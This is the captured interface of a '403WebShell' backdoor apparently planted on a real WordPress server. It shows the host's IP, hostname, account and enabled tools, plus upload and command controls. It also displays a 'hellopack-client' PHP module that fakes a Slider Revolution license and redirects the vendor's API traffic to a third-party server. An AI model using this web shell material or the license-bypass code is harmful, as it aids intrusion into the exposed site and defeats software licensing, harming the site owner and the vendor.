$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/www/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/www/wp-content/plugins/hellopack-client/modules/revslider.php
<?php
/**
 * Slider Revolution module.
 *
 * Redirects ThemePunch API requests to GLS3 (hybrid mode).
 * License endpoints answered locally, content endpoints (templates,
 * library, addons) proxied to real servers with valid key.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Slider Revolution license module.
 */
class Revslider extends AbstractModule {

	/**
	 * Placeholder license key stored on site.
	 * The real key lives only in the GLS3 handler for proxy requests.
	 *
	 * @var string
	 */
	private const LICENSE_KEY = 'hellopack-revslider-license';

	/**
	 * ThemePunch server domains (primary + backups).
	 * Each has updates/templates/library subdomains.
	 *
	 * @var string[]
	 */
	private const SERVERS = array(
		'themepunch.tools',
		'themepunch-ext-a.tools',
		'themepunch-ext-b.tools',
		'themepunch-ext-c.tools',
	);

	/**
	 * Subdomain prefixes used by RevSlider.
	 *
	 * @var string[]
	 */
	private const SUBDOMAINS = array( 'updates', 'templates', 'library' );

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'revslider';
		$this->name        = 'Slider Revolution';
		$this->description = 'Manages Slider Revolution license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.0.0';
		$this->target      = array(
			'plugin_dir'  => 'revslider',
			'plugin_file' => 'revslider.php',
		);
		$this->target_id   = '1374291351';

		$this->blocked_domains = array(
			'updates.themepunch.tools'       => self::generic_block(),
			'updates.themepunch-ext-a.tools' => self::generic_block(),
			'updates.themepunch-ext-b.tools' => self::generic_block(),
			'updates.themepunch-ext-c.tools' => self::generic_block(),
		);
	}

	/**
	 * Initialize module.
	 */
	public function init(): void {
		$target = HELLOPACK_GLS3_URL . '/revslider';

		foreach ( self::SERVERS as $server ) {
			foreach ( self::SUBDOMAINS as $sub ) {
				ApiRedirector::create( "https://{$sub}.{$server}", $target );
			}
		}

		$this->activate_license();
		$this->force_primary_servers();
	}

	/**
	 * Activate Slider Revolution license.
	 */
	private function activate_license(): void {
		hellopack_ensure_option( 'revslider-valid', 'true' );
		hellopack_ensure_option( 'revslider-code', self::LICENSE_KEY );
		hellopack_ensure_option( 'revslider-temp-active-notice', 'false' );
	}

	/**
	 * Force RevSlider to use only the primary server.
	 *
	 * The load balancer rotates through backup servers on failure.
	 * Since all requests go through GLS3, we lock the list to primary only.
	 */
	private function force_primary_servers(): void {
		update_option( 'revslider_servers', array( 'themepunch.tools' ) );
	}

	/**
	 * Cleanup on disable.
	 */
	public function cleanup(): void {
		update_option( 'revslider-valid', 'false' );
		hellopack_delete_option( 'revslider-code' );
		hellopack_delete_option( 'revslider-temp-active-notice' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit